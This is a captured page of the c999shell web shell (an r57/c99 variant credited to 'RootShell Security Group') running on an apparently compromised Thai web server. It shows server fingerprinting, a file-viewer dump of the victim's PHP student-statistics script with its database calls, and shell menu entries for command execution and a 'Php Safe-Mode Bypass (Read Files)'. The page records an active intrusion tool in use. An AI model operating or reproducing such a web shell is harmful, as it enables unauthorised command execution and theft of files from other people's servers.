Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/ drwxr-xr-x |
Viewing file: Select action/file-type: <?php include("../includes/FunctionDB.php"); include ("jpgraph/src/jpgraph.php"); include ("jpgraph/src/jpgraph_bar.php"); ConnectDB(); $sql = "SELECT * FROM StudentMaster Where studentStatus='1' GROUP By admitAcadYear "; $result = mysql_query($sql) ; $row = mysql_num_rows($result); $num = mysql_num_rows($result ); while($rs = mysql_fetch_array($result)){ $admitAcadYear = $rs["admitAcadYear"]; $sql1= "Select * From StudentMaster Where studentStatus='1' and admitAcadYear='$admitAcadYear' and studentSex ='M' "; $result1 = mysql_query($sql1); $countnum1 = mysql_num_rows($result1); $data1y[] = $countnum1; $sql2= "Select * From StudentMaster Where studentStatus='1' and admitAcadYear='$admitAcadYear' and studentSex ='F' "; $result2 = mysql_query($sql2); $countnum2 = mysql_num_rows($result2); $data2y[] = $countnum2; $xLabels[] = $admitAcadYear; } // Create the graph. These two calls are always required $graph = new Graph(650,400,"auto"); $graph->SetScale("textlin"); $graph->SetShadow(); $graph->img->SetMargin(40,120,20,40); // Create the bar plots $b1plot = new BarPlot($data1y); $b1plot->SetFillColor("orange"); $b1plot->SetLegend("Male"); $b1plot->value->Show(); $b2plot = new BarPlot($data2y); $b2plot->SetFillColor("blue"); $b2plot->SetLegend("Female"); $b2plot->value->Show(); // Specify X-labels $graph->xaxis->SetTickLabels($xLabels); // Create the grouped bar plot $gbplot = new GroupBarPlot(array($b1plot,$b2plot)); // ...and add it to the graPH $graph->Add($gbplot); $graph->title->Set("กราฟแสดงจำนวนนักศึกษาจำแนกตามปีการศึกษา"); //$graph->xaxis->title->Set("X-title"); $graph->yaxis->title->Set("จำนวน(คน)"); $graph->xaxis->SetFont(FF_TAHOMA,FS_NORMAL); $graph->title->SetFont(FF_COURIER,FS_BOLD); $graph->yaxis->title->SetFont(FF_COURIER,FS_BOLD); $graph->xaxis->title->SetFont(FF_FONT1,FS_BOLD); // Display the graph $graph->Stroke("student_stat_graph.png"); echo "<img src='student_stat_graph.png' border=0/>"; ?> |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0053 ]-- |